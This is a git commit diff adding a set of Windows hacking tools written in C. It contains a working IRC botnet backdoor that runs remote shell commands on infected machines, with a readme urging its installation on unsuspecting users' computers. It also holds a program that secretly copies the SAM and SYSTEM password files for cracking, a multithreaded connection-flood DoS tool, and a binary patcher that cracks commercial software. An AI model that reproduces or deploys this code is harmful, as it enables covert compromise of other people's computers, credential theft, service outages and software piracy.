C+WinSock IRC Bot and few other useless programs i've found on my freeshell account...
authorHarvie <tomas@mudrunka.cz>
Mon, 24 May 2010 22:02:47 +0000 (00:02 +0200)
committerHarvie <tomas@mudrunka.cz>
Wed, 26 May 2010 21:45:12 +0000 (23:45 +0200)
16 files changed:
c/HarveCter/HarveCter_0.8_basics_manual.jpg [new file with mode: 0755]
c/HarveCter/harvecter.c [new file with mode: 0755]
c/HarveCter/harvecter.nfo [new file with mode: 0755]
c/samthief.c [new file with mode: 0755]
c/synfcity.c [new file with mode: 0755]
misc/BinCracking/binpatcher.c [new file with mode: 0755]
misc/BinCracking/hexcmp.c [new file with mode: 0755]
misc/BinCracking/patcher_gen.phps [new file with mode: 0755]
php/hhttpd/examples/hhttpd_listing.html [new file with mode: 0755]
php/hhttpd/examples/hhttpd_listing_new.html [new file with mode: 0755]
php/hhttpd/examples/hhttpd_output.txt [new file with mode: 0755]
php/hhttpd/http_server.pdf [new file with mode: 0755]
php/hhttpd/http_server.phps [moved from php/http_server.php with 99% similarity]
php/jyxobot.phps [new file with mode: 0755]
php/mac_hack.phps [new file with mode: 0755]
php/speedtest-defunct.php [new file with mode: 0755]

diff --git a/c/HarveCter/HarveCter_0.8_basics_manual.jpg b/c/HarveCter/HarveCter_0.8_basics_manual.jpg
new file mode 100755 (executable)
index 0000000..6a63094
Binary files /dev/null and b/c/HarveCter/HarveCter_0.8_basics_manual.jpg differ
diff --git a/c/HarveCter/harvecter.c b/c/HarveCter/harvecter.c
new file mode 100755 (executable)
index 0000000..635704b
--- /dev/null
@@ -0,0 +1,319 @@
+/*
+HarveCter IRCBot 1.0b
+This 31337 code by: Harvie 2oo7
+Windows IRC Bot/Zombie/Whatever you want...
+
+INFO:
+Optimalized for Dev-Cpp
+Compile as window app to make a daemon
+
+Warning:
+There is not so big security!!!
+If you want to keep your zombies,
+control them only by PM or at completely secure channel!!!
+All passwords, that are starting with your password will be accepted!!!
+
+COMMANDS:
+Warning: all commands are case sensitive
+
+!login [login]          //Bad login=logout
+!chanpass               //Set mode +k
+
+PRIVILEGED COMMANDS:
+!SAY [msg]              //Say msg
+!CMD [shell command]    //Execute command @ zombie
+!raw [line to send]     //Sends raw line to server (you can OP yourself)
+!info                   //Info about zombie
+!time                   //Localtime @ zombie
+!show                   //Show console window
+!hide                   //Hide console window
+!restart                //Restart connection
+!respawn                //Restart whole zombie
+
+Development comments:
+6 * 128 == 768 == Maximum lenght of IRC message (RFC)
+*/
+
+//Preproc:
+#include <stdio.h>
+#include <time.h>
+#include <stdlib.h>
+#include <winsock.h>
+#include <windows.h>
+#pragma comment(lib,"ws2_32.a");
+
+//Sends IRC message "msg" to "channel" over socket "s".       
+int irc_sendmsg(int s, char *channel, char *msg) {
+    int len, err;
+    char snd[1024];
+    sprintf(snd, ": PRIVMSG %s :%s\n", channel, msg);
+    len = strlen(snd);
+    err = send(s, snd, len, 0);
+    printf("%s", snd); //Show
+    return err;
+    }
+
+//MAIN_FUNCTION://////////////////////////////////////////////////////////
+int main(int argc, char *argv[]) {
+    
+//SETTINGS:///////////////////////////////////////////////////////////////
+    char server[] = "irc.2600.net"; //IRC Server
+    int port = 6667; //Port of IRC Server
+    char channel[] = "#hv"; //IRC Channel
+    char pass[] = "test"; //Bot Password
+    char chanpass[] = "lol"; //Channel Password
+    char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup
+//MISC:///////////////////////////////////////////////////////////////////
+    char version[] = "1.0b"; //Bot version
+    char nick[128] = "Harvecter"; //Doesn't matter - Username of active user will be used instead
+    char cmdfile[] = "zzzcommands.bat";
+    //AllocConsole(); //Ukazat
+    //FreeConsole(); //Schovat... ;)
+    //freopen("log.txt", "ab", stdout); //Log all outputs to file
+//INITIALIZATIONS:////////////////////////////////////////////////////////
+    srand(time(0));
+    char lclhost[256], lclhostnm[256], hostmsg[1000];
+    char *user, *processor, *root, *logonsrvr, *os, rnd[10];
+    //Load enviroment variables
+    user = getenv("USERNAME");
+    processor = getenv("PROCESSOR_IDENTIFIER");
+    root = getenv("SystemRoot");
+    logonsrvr = getenv("LOGONSERVER");
+    os = getenv("OS");
+    //Generate nick from username and random number
+    sprintf(rnd, "%i", rand());
+    sprintf(nick, "H-%s-%s", user, rnd);
+    //time
+    struct tm *localtime(const time_t *tod);
+    struct tm *p_st_cas;
+    time_t cas;
+    //cmd
+    FILE *cmdf;
+//////////////////////////////////////////////////////////////////////////
+//CODE:///////////////////////////////////////////////////////////////////
+//////////////////////////////////////////////////////////////////////////
+
+    //Delete cmdfile (Hell knows it's useful...)
+    cmdf = fopen(cmdfile, "w");
+    fprintf(cmdf, "del %s\n", cmdfile);
+    fclose(cmdf);  
+    WinExec(cmdfile,SW_HIDE);
+    
+    //Print banner
+    printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n\n", version, channel, server, port, nick);
+    //Execute startup script
+    WinExec(rcfile,SW_HIDE); //Run rcfile (hidden)
+    
+    //Declarations for WSA
+    int s;
+    SOCKADDR_IN sck;
+    HOSTENT *host, *localhost;
+    WSADATA wsadata;
+    WSAStartup(MAKEWORD(1,1),&wsadata);
+    
+    //Set details for WSA
+    while( (host=gethostbyname(server)) == NULL){ //Host
+        printf("!Error server host not found\nwaiting 5s...\n");
+        sleep(5000);                                 
+    }
+    sck.sin_family = PF_INET;
+    memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length);
+    sck.sin_port = htons(port); //Port
+    
+    //Info at localhost
+    while ((localhost=gethostbyname("")) == NULL) {
+        printf("!Error local host not found\nwaiting 5s...\n");
+        sleep(5000);  
+        }
+        sprintf(lclhostnm, "%s", localhost->h_name);
+        sprintf(lclhost, "%s", inet_ntoa(*((struct in_addr *)localhost->h_addr)));
+        sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s\n", user, lclhostnm, lclhost, logonsrvr, os, root, processor);
+        printf("%s\n", hostmsg);
+    
+    //Initialization of strings used for IRC communication, etc...
+    int len, err; //Lenght, Error
+    char snd[1024], msg[1000], rcv[1024], passin[1000], *sub;
+    
+    //Infinite loop (bot can't stop)
+    while(1) {
+    
+    //Create socket
+    s=socket(AF_INET, SOCK_STREAM, 0);
+    
+    //Connect
+    while( ( connect(s, (struct sockaddr *)&sck, sizeof(sck)) ) ) {
+        printf("!Error while connecting\nwaiting 5s...\n");
+        sleep(5000);
+        }   
+    
+    //IRC Server login
+    sprintf(snd, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick, nick, nick);
+    len = strlen(snd);
+    err = send(s, snd, len, 0);
+
+    //Join&Set channel password
+    sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
+    sleep(1000);
+    err = send(s, snd, len, 0);
+    //mode #chan +k heslo
+    sleep(2000);
+    sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
+    sleep(1000);
+    err = send(s, snd, len, 0);
+             
+       
+    //Send greetings
+    sprintf(msg, "Hello ;), let my introduce myself... I am %s v%s", nick, version); //Zprava
+    err = irc_sendmsg(s, channel, msg);
+    sprintf(msg, "!chanpass"); //Request channell operator to set channell password (mode +n+k)
+    err = irc_sendmsg(s, channel, msg);
+    
+    //Loop (while connection exists)
+    err = 1;
+    while( err && err != -1) {
+             
+             //JOIN
+             sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
+             
+             //RECIEVE
+             memset(rcv, '\0', 1024);
+             sub = 0;
+             err = recv(s, rcv, 1024, 0);
+             printf("%s", rcv);
+             
+             //PING-PONG (Respond to server pings only)
+             if ( (sub = (strstr(rcv, "PING :"))) ) {
+                sub = sub+6;
+                sprintf(snd, "PONG :%s", sub);
+                len = strlen(snd);
+                err = send(s, snd, len, 0);
+                printf("%s", snd);
+                }
+             sub = 0;
+             
+             if ( (sub = (strstr(rcv, ":!chanpass"))) ) {
+                printf("!Setting chanpass\n");
+                sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass);
+                len = strlen(snd);
+                err = send(s, snd, len, 0);
+             }
+             sub = 0;
+             
+             //LOGIN
+             if ( (sub = (strstr(rcv, ":!login "))) ) {
+                sub = sub+8;
+                sprintf(passin, "%s", sub);
+                if ( strstr(passin, pass) ) {  //Use this condition to check login.
+                   sprintf(msg, "Login succesful");
+                   irc_sendmsg(s, channel, msg);
+                   printf("\n!!!Login succesful\n");
+                } else {
+                   sprintf(msg, "Loged out");
+                   irc_sendmsg(s, channel, msg);
+                   printf("!!!Loged out\n\n");
+                }
+             }
+             sub = 0;
+             
+             //IF LOGED IN:
+             if ( strstr(passin, pass) ) {
+                  
+               //SAY
+               if ( (sub = (strstr(rcv, ":!SAY "))) ) {
+                  sub = sub+6;
+                  sprintf(msg, "MSG: %s", sub); //Zprava
+                  err = irc_sendmsg(s, channel, msg);
+                }
+                sub = 0;
+             
+                //INFO (USER, DOMAIN, IP, ARCHITECTURE)
+                if ( (sub = (strstr(rcv, ":!info"))) ) {
+                   err = irc_sendmsg(s, channel, hostmsg);
+                }
+                sub = 0;
+                
+                //TIME
+                if ( (sub = (strstr(rcv, ":!time"))) ) {
+                      printf("Time\n");
+                      //struct tm t;
+                      
+                      cas = time(NULL);
+                   p_st_cas = localtime(&cas);
+                      
+                   strftime(msg, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas);
+                   err = irc_sendmsg(s, channel, msg);
+                }
+                sub = 0;
+                
+                //SEND RAW
+               if ( (sub = (strstr(rcv, ":!raw "))) ) {
+                  sub = sub+6;
+                  len = strlen(sub);
+                  err = send(s, sub, len, 0);
+                }
+                sub = 0;
+             
+                //SHELL
+                //Hey! Don't forget to download wget&curl in bot directory!! ;D
+                //With wget and curl you will be able to download and upload files...
+                if ( (sub = (strstr(rcv, ":!CMD "))) ) {
+                   sub = sub+6;
+                   sprintf(snd, "%s", sub);
+                   printf("!CMD %s", snd);
+                
+                   sprintf(msg, "Executing: %s", sub);
+                   irc_sendmsg(s, channel, msg);
+                   printf("!!! %s", msg);
+                   
+                   FILE *cmdf = fopen(cmdfile, "w");
+                   fprintf(cmdf, "%s\ndel %s\n", snd, cmdfile);
+                      fclose(cmdf);
+                   
+                   WinExec(cmdfile,SW_HIDE); //Hide console window
+                   //system(cmdfile); //Show console window
+                }
+                sub = 0;
+                
+                //HIDE/SHOW
+                if ( (sub = (strstr(rcv, ":!hide"))) ) { FreeConsole(); } sub = 0;
+                if ( (sub = (strstr(rcv, ":!show"))) ) { AllocConsole(); } sub = 0;
+                
+                //RESTART connection to server
+                if ( (sub = (strstr(rcv, ":!restart"))) ) {
+                     sprintf(msg, "Please wait while restarting...");
+                     err = irc_sendmsg(s, channel, msg);
+                     closesocket(s);
+                     sprintf(msg, "ERROR: Couldn't close socket :(");
+                     err = irc_sendmsg(s, channel, msg);
+                     printf("\nRESTARTING...\n\n");
+                }
+                sub = 0;
+                
+                //RESPAWN (restarts all)
+                if ( (sub = (strstr(rcv, ":!respawn"))) ) {
+                     sprintf(msg, "Please wait while respawning...");
+                     err = irc_sendmsg(s, channel, msg);
+                     printf("\nRESPAWNING...\n\n");
+                     closesocket(s);
+                     execl(argv[0], NULL); //Exchange old process for new (argv[0])
+                     sprintf(msg, "ERROR: Couldn't respawn :(");
+                     err = irc_sendmsg(s, channel, msg);
+                     printf("ERROR: Couldn't respawn :(\n");
+                }
+                sub = 0;
+                
+             }//END LOCKED COMMANDS
+    }//LoopEND
+    
+    //Close
+    closesocket(s);
+    printf("!Error while sending\nwaiting 5s before reconnect...\n");
+    sleep(5000);
+    }//InfiniteLoopEND
+        
+    //Zavrit
+    closesocket(s);
+    WSACleanup(); //Flush WSA    
+    return(0);
+    
+}
diff --git a/c/HarveCter/harvecter.nfo b/c/HarveCter/harvecter.nfo
new file mode 100755 (executable)
index 0000000..38a3dd0
--- /dev/null
@@ -0,0 +1,113 @@
+ <>=========================================================== 1001 1001 1011 1110 0000 01101 1110 ===<>\r
+                   ___          ___          ___                                 ___     \r
+                  /__/\        /  /\        /  /\         ___       ___         /  /\    \r
+                  \  \:\      /  /::\      /  /::\       /__/\     /  /\       /  /:/_   \r
+                   \__\:\    /  /:/\:\    /  /:/\:\      \  \:\   /  /:/      /  /:/ /\  \r
+               ___ /  /::\  /  /:/~/::\  /  /:/~/:/       \  \:\ /__/::\     /  /:/ /:/_ \r
+              /__/\  /:/\:\/__/:/ /:/\:\/__/:/ /:/___ ___  \__\:\\__\/\:\__ /__/:/ /:/ /\\r
+              \  \:\/:/__\/\  \:\/:/__\/\  \:\/::::://__/\ |  |:|   \  \:\/\\  \:\/:/ /:/\r
+               \  \::/      \  \::/      \  \::/~~~~ \  \:\|  |:|    \__\::/ \  \::/ /:/ \r
+                \  \:\       \  \:\       \  \:\      \  \:\__|:|    /__/:/   \  \:\/:/  \r
+                 \  \:\       \  \:\       \  \:\      \__\::::/     \__\/     \  \::/   \r
+                  \__\/        \__\/        \__\/          ~~~~                 \__\/    \r
\r
+ <>===== IRC Bot ================================================================ <-- Harvie 2oo7 ====<>\r
+ <>                                                                                                   <>\r
+ <>  <>GENERAL                                                                                        <>\r
+ <>   Name:                  HarveCter                                                                <>\r
+ <>   Subject:               IRC Bot                                                                  <>\r
+ <>   Description:           Remote Control/Backdoor/Zombie/etc... Everything is controled by IRC     <>\r
+ <>   Version:               1.0b                                                                     <>\r
+ <>                                                                                                   <>\r
+ <>  <>DETAILS                                                                                        <>\r
+ <>   Platform:              Microsoft Windows (Tested on XP SP2)                                     <>\r
+ <>   Language:              Ansi C + Few windows libs (windows.h & WinSock)                          <>\r
+ <>   Author:                <-- Harvie                                                               <>\r
+ <>   Date:                  2oo7                                                                     <>\r
+ <>   Contact:               Harvie@irc.2600.net                                                      <>\r
+ <>                                                                                                   <>\r
+ <>=====0=======================================================================================1=====<>\r
+ <>======0=======================================================================================1====<>\r
+ <>====000=============================================================== <-- Harvie 2oo7 =====111====<>\r
+\r
+ <>===== INFO ================================================ 1001 1001 1011 1110 0000 01101 1110 ===<>\r
\r
+ <>Building info:\r
+Optimalized for Dev-Cpp.\r
+Compile as windows GUI app. to make a daemon.\r
+\r
+ <>Warnings:\r
+There is not so big security!!!\r
+If you want to keep your zombies,\r
+control them only by PM or at completely secure channel!!!\r
+All passwords, that are starting with your password will be accepted!!!\r
+If you want to keep your botnet use Dynamic IRC server maping (by Dynamic DNS),\r
+rather than sending bots directly to one server (as irc.2600.net:6667)!!!\r
+\r
+ <>Setting up:\r
+- You can do all settings in source.\r
+- for better security use a different password for channel and bots.\r
+\r
+ <>Commands:\r
+- Warning: all commands are case sensitive\r
+\r
+- !login [login]              //Bad login=logout\r
+- !chanpass                   //Set mode +k (each bot sends this when connected)\r
+\r
+ <>Privileged commands (needs login)\r
+- !SAY [msg]                  //Say msg\r
+- !CMD [shell command]        //Execute command @ bot (hidden console window)\r
+- !CMD start [shell command]  //Execute command @ bot (show console window)\r
+- !raw [line to send]         //Sends raw line to server (you can OP yourself)\r
+- !info                       //Info about zombie\r
+- !time                       //Local time @ zombie\r
+- !show                       //Show console window\r
+- !hide                       //Hide console window\r
+- !restart                    //Restart connection to server\r
+- !respawn                    //Restart whole zombie\r
+\r
+ <>Startup commands:\r
+Each time when the bot starts, he executes the "hircb.rc.bat" file - hidden (UTFS).\r
+\r
+ <>More functions:\r
+If you want to add more functions to this bot, you can add them direct to the code,\r
+or you can simple add executable binaries to its directory (!CMD binary.exe).\r
+This binary must be fully controlled from CLI (command line).\r
+\r
+ <>Recommended binaries to add:\r
+- Wget (wget.exe)   - Allows you to download files from http & ftp (add functions online...)\r
+- cURL (curl.exe)   - Allows you to upload files to your server (needs some php scripts...)\r
+\r
+ <>Another usefull binaries:\r
+- NetCat (nc.exe)   - Useful (Easy Networking, Firewall test, Backdoor, etc...) - you know...\r
+- Servers           - FTP(SlimFTPd), HTTP(you can strip Apache), SMTP, SOCKS, Proxy\r
+- Runtimes          - Unix(CygWin), Java(JArX) PHP, Perl, Python\r
+- NirCMD2           - (nircmdc.exe) Work with special windows features (mouse,gui,system functions,...)\r
+- CLAmp (clamp.exe) - Winamp Control (Yeah! What do you expected???)\r
+- Anything else     - DoS, mailing (Don't do any ilegal stuff with this - yust testing!!!)\r
+\r
+ <>Recommendations:\r
+- Use some free DNS service to move zombies across servers.\r
+- Take very big care about channel security.\r
+- Install this bot only at n00bz' computers, because there is no encryption\r
+   (anybody else can sniff and get passwords, etc...)\r
+\r
+ <>Version history:\r
+- future  - Maybe some bugfixes\r
+- 0.1b    - bugfixes (cmdfile), Implemented "!respawn"\r
+- 0.9     - Executing hircb.rc.bat at startup, first use "In the Wild" -> found bugs, need "!respawn"\r
+- 0.8     - Hidden execution\r
+- 0.7     - Implemented "!info" & "!time"\r
+- 0.6     - Implemented "!login" function\r
+- 0.5     - Implemented "!CMD" function\r
+- other   - I can't remember ;D\r
+\r
+ <>Terms of use:\r
+- Use it like you want [use, change, abuse]!\r
+- There is no warranty, because this is free of charge for you!\r
+- There is no responsibility from side of author, because this is tool only!\r
+- Only you are responsible for yours acts!\r
+\r
+ <>=====0=======================================================================================1=====<>\r
+ <>======0=======================================================================================1====<>\r
+ <>====000=============================================================== <-- Harvie 2oo7 =====111====<>\r
diff --git a/c/samthief.c b/c/samthief.c
new file mode 100755 (executable)
index 0000000..aaadfff
--- /dev/null
@@ -0,0 +1,28 @@
+#include <stdio.h>\r
+//SAMThief - Harvie (2oo7)\r
+/*\r
+Quicky & secretly copies sam & system files from %systemroot%\repair\r
+This files should be used to crack, Administrator password.\r
+For example by using ophcrack.sourceforge.net (Rainbow tables crack)\r
+*/\r
+\r
+int main(int argc, char *argv[])\r
+{\r
+  srand(time(NULL));\r
+  unsigned char i = rand();\r
+  #define SIZE 64\r
+  char dir[SIZE], now[SIZE];\r
+  \r
+  sprintf(dir, "%%username%%\\%d\\", i);\r
+  printf("%s\n", dir);\r
+  \r
+  //system("@echo off");\r
+  sprintf(now, "mkdir %s", dir);\r
+  system(now);  \r
+  sprintf(now, "copy %%SystemRoot%%\\repair\\sam %s", dir);\r
+  system(now);\r
+  sprintf(now, "copy %%SystemRoot%%\\repair\\system %s", dir);\r
+  system(now);\r
+  //system("PAUSE");   \r
+  //return 0;\r
+}\r
diff --git a/c/synfcity.c b/c/synfcity.c
new file mode 100755 (executable)
index 0000000..481441e
--- /dev/null
@@ -0,0 +1,158 @@
+/*\r
+SYN-F-City\r
+SynFlooder ( Optimized for DEV-C++ )\r
+I made this like a PortFuck alternative for Microsoft Windows Commandline.\r
+You can do anything what you want with this piece of software (and source code),\r
+but only at yours own risk and responsibility.\r
+You can modify and distribute this software as long as it's not used in public\r
+networks or against extraneous computer and as long as my name is mentioned.\r
+Sorry for my poor english and use it well. ;D\r
+\r
+                                                     <- Harvie 2oo7 */\r
+                                                     \r
+//Includes\r
+#include <stdio.h>\r
+#include <stdlib.h>\r
+#include <windows.h>\r
+#include <stdio.h>\r
+#include <process.h>\r
+#include <winsock2.h> //don't forget to include Dev-Cpp/lib/libwsock32.a\r
+\r
+//Settings\r
+#define HOSTLEN 256 //Maximum hostname lenght\r
+char target_host[HOSTLEN] = "127.0.0.1"; //host\r
+unsigned int target_port = 80; //port\r
+int delay = 1000; //sleep in ms\r
+unsigned int threads_max = 300; //0 == infinite\r
+char mode = 1; //0 = reconnect on connect; 1 = wait for disconnection by server\r
+#define DATALEN 1024 //Maximum data lenght\r
+char snd_data[DATALEN] = ""; //Data to send (Optional)\r
+\r
+//Init\r
+char product[] = "SYNFCity";\r
+char version[] = "0.4 (2oo7)";\r
+int thread_report = 10;\r
+unsigned int thread_no = 1;\r
+\r
+//Socket thread\r
+unsigned __stdcall SecondThreadFunc( void* pArguments )\r
+{\r
+    unsigned int this_thread_no = thread_no;\r
+    //system("cls");\r
+    //printf( "[d] Thread #%d\n", this_thread_no ); //Debug\r
+    \r
+    //Sock///////////////////////////////////////\r
+    int s;\r
+    SOCKADDR_IN sck;\r
+    HOSTENT *host;\r
+    WSADATA wsadata;\r
+    \r
+    WSAStartup(MAKEWORD(1,1),&wsadata);\r
+    \r
+    if( (host=gethostbyname(target_host)) == NULL ) {\r
+        printf("\n[!] Host not found !!!\n");\r
+        exit(1);\r
+        }\r
+    sck.sin_family = PF_INET;\r
+    memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length);\r
+    sck.sin_port = htons(80);\r
+      \r
+    while(1) {\r
+             s=socket(AF_INET, SOCK_STREAM,0);\r
+             while( !( connect(s,(struct sockaddr *)&sck,sizeof(sck)) ) ) { Sleep(100); }\r
+             if( strlen(snd_data) > 0 ) {\r
+                 send(s,snd_data,0,strlen(snd_data)); //Send data\r
+                 }\r
+             if(mode) {\r
+                      while( send(s,snd_data,0,strlen(snd_data)) != -1 ) { Sleep(3000);} //Wait for server side close\r
+                      }\r
+             //printf("[d] Reconnecting #%d\n", this_thread_no); //Debug\r
+             closesocket(s);\r
+    }\r
+    //Sock end//////////////////////////////////\r
+\r
+    _endthreadex( 0 );\r
+    return 0;\r
+} \r
+\r
+//MAIN\r
+int main(int argc, char *argv[])\r
+{ \r
+    //Help\r
+    if(argc < 3) { \r
+            printf("\n%s %s\n\nHarvie's Windows SYNFlood based service performance tester\n(PortFuck commandline alternative)\n\n", product, version);\r
+            printf("   Usage: %s host port [delay] [socks_max] [mode] [\"data\"]\n\n", product);\r
+            printf("host - yours testing target\n");\r
+            printf("port - port with target service\n");\r
+            printf("delay - wait between thread creating (ms)\n");\r
+            printf("socks_max - maximum of threads/sockets; 0 = infinite -don't do with short delay\n");\r
+            printf("mode - (0|1); 0 = reconnect on connect; 1 = wait for disconnection by server\n");\r
+            printf("data - send this string to the server (\"\\n\\n\" will be added)\n");\r
+            printf("\n");\r
+            printf("This values will be used implicitly:\n   %s %s %d %d %d %d \"%s\"\n", product, target_host, target_port, delay, threads_max, mode, snd_data);\r
+            printf("\n\n");\r
+            printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !! WARNING - TERMS OF USE - READ CAREFULLY !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!! THIS IS FREEWARE AND COMES WITH ABSOLUTELY NO WARRANTY !!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!! IT'S PROHIBITED TO USE THIS SOFTWARE IN PUBLIC NETWORKS !!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!! USE THIS TEST ONLY AGAINST YOURS OWN COMPUTERS !!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!! YOU HAVE FULL RESPONSIBILITY FOR USING THIS PROGRAM !!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!! YOU HAVE FULL RESPONSIBILITY FOR YOU !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!! USE THIS ONLY ON YOURS OWN RISK !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!! DON'T USE THIS SOFTWARE IF YOU DOESN'T UNDERSTOOD OR YOU DON'T AGREE !!!!\n");\r
+            printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! <- HARVIE 2oo7 !!!\n");\r
+            printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !I have done this only to test my own server's resistance against DoS attacks!\n");\r
+            printf("\n");\r
+            if(argc < 2) { \r
+                    printf("Press any key, if you are sure, that you understand and you agree with terms of use. Otherwise close the window. (Run this program with more than zero arguments to prevent this confirmation, if you want dump help to file, etc...)\n");\r
+                    system("pause");\r
+                    }\r
+            return(1);\r
+            }\r
+    \r
+    //Parse arguments\r
+    if(argc > 1) { snprintf(target_host, HOSTLEN, "%s", argv[1]); }\r
+    if(argc > 2) { target_port = atoi(argv[2]); }\r
+    if(argc > 3) { delay = atoi(argv[3]); }\r
+    if(argc > 4) { threads_max = atof(argv[4]); }\r
+    if(argc > 5) { mode = atoi(argv[5]); }\r
+    if(argc > 6) { snprintf(snd_data, DATALEN,"%s", argv[6]); }\r
+    printf("[*] %s host: %s port: %d\n[i] delay: %d socks_max: %d mode: %d data: %s", product, target_host, target_port, delay, threads_max, mode, snd_data);\r
+    if(strlen(snd_data) > 0) { snprintf(snd_data, DATALEN,"%s\n\n", snd_data); }\r
+    \r
+    \r
+    //Load\r
+    HANDLE hThread;\r
+    unsigned threadID;\r
+    printf("[!] SynFlooding %s:%d\n[i] C-c 2 stop\n\n", target_host, target_port);\r
+    printf( "[T] Creatin' some threadzz... ;))\n" );\r
+    printf( "[i] Showing only each %dth thread:\n", thread_report );\r
+\r
+    //Fire ;))\r
+    while(1) {\r
+             hThread = (HANDLE)_beginthreadex( NULL, 0, &SecondThreadFunc, NULL, 0, &threadID );\r
+             if(hThread == 0) {\r
+                        printf("\n[!] Reached maximum number of threads allowed by system.\n");\r
+                        break;\r
+                        }\r
+             if(thread_no % thread_report == 0) {\r
+               printf( "[#] Thread #%d was succesfully created.\n", thread_no ); //Debug\r
+               }\r
+             Sleep(delay);\r
+             thread_no++;\r
+             if(threads_max != 0) {\r
+                            if(thread_no > threads_max) { \r
+                                         printf("\n[!] Reached previously selected maximum number of threads.\n");\r
+                                         break;\r
+                                         }\r
+             }\r
+    }\r
+    \r
+    printf("[!] Working...\n[i] C-c 2 stop\n\n");\r
+    //Doo something useful while running ;D\r
+    while(1) { sleep(60000); }\r
+}\r
diff --git a/misc/BinCracking/binpatcher.c b/misc/BinCracking/binpatcher.c
new file mode 100755 (executable)
index 0000000..4fe3f55
--- /dev/null
@@ -0,0 +1,96 @@
+//BinPatcher 3.0\r
+//by: Harvie 2oo7\r
+\r
+/* This code is very useful, if you are cracking software and you need\r
+to share your cracks without whole binary (because of size or copyright).\r
+This is simple way to patch binaries at users home.\r
+Warning: You need to know some things about PE (probably) architecture to use this.\r
+But there is still some automatic computing with addreses,\r
+so you have to know only bit about yours binary...\r
+*/\r
+/*Note: this is patch used to crack free version of CPULower (remove NAG screen),\r
+and you have to edit it for any file, that you want to patch.\r
+*/\r
+\r
+#include <stdio.h>\r
+#include <stdlib.h>\r
+\r
+int main(int argc, char *argv[])\r
+{\r
+  //Basic informations\r
+  char file[] = "cpulower.exe";\r
+  char this_file[] = "BinPatcher.exe";\r
+  char title[] = "CPU Lower - NAG screen remover - patcher";\r
+  char author[] = "<-Harvie 2oo7";\r
+  //You can get these from debuger, disassembler, etc...:\r
+  long int image_base = 0x400000; //ImageBase of binary\r
+  long int section_rva = 0x1000; //Virtual addres of patched section\r
+  long int section_offset = 0x400; //Offset of patched section\r
+  long int size = 0, needed_size = 317440;  //Size in Bytes (Compressed size for PE compressors)\r
+  \r
+  //File declaration\r
+  FILE *bin;\r
+\r
+  //Banner\r
+  printf("%s\nby: %s\n\nThis will patch %s\n\n", title, author, file);\r
+  \r
+  //Arguments\r
+  if(argc != 2) {\r
+    printf("Incorrect number of arguments!!!\n");\r
+    printf("Usage: %s %s\n", this_file, file);\r
+    printf("You can simply Drag&Drop file \"%s\" on this (%s)\n\n", file, this_file);\r
+    system("pause");\r
+    return(0);    \r
+          }\r
+  \r
+  //Size check\r
+  int c;\r
+  printf("Checking file size of %s...\n", argv[1]);\r
+  bin = fopen(argv[1], "rb");\r
+    if(bin == NULL) { printf("Error while opening %s\n", argv[1]); return 0; }\r
+    while( (c = fgetc(bin)) != EOF ) {\r
+      size++;\r
+    }\r
+  fclose(bin);\r
+  printf("File size = %d B\n", size);\r
+  if(size != needed_size) {\r
+            printf("Incorrect file size (%d B) !!!\nContinue?\n", size);\r
+            system("pause");\r
+          } else {\r
+            printf("File size OK!\n\n");       \r
+          }\r
+          \r
+  //Backup\r
+  char backup[1024];\r
+  printf("Backuping to %s.crkbak\n", argv[1]);\r
+  sprintf(backup, "copy /B /Y \"%s\" \"%s.crkbak\" > nul", argv[1], argv[1]);\r
+  printf("Backup done.\n\n");\r
+  system(backup);\r
+  \r
+  //UnCompress example for upx (Use this only if you know what it is)\r
+  /*\r
+  printf("Uncompressing...\n");\r
+  char uncs[1024];\r
+  sprintf(uncs, "upx -d \"%s\"", argv[1]);\r
+  system(uncs); //THis needs upx binary\r
+  printf("Uncompressed!\n\n");\r
+  */\r
+  \r
+  //Patching\r
+  long int virtual_addres = 0x437069; //Virtual addres from debuger - Example: 0x00437069\r
+  unsigned char patch[] = "\x90\x90\x90\x90\x90"; //Patch to apply - Example: "\x90" (== NOP)\r
+  bin = fopen(argv[1], "rb+");\r
+    if(bin == NULL) { printf("Error while opening %s\n", argv[1]); return 0; }\r
+  \r
+  long int offset = virtual_addres - image_base - section_rva + section_offset; //Vypocitame offset v souboru\r
+  printf("Patching code @ D: %d H: 0x%x\n", offset, offset);\r
+  fseek(bin, offset, SEEK_SET); //Seek code\r
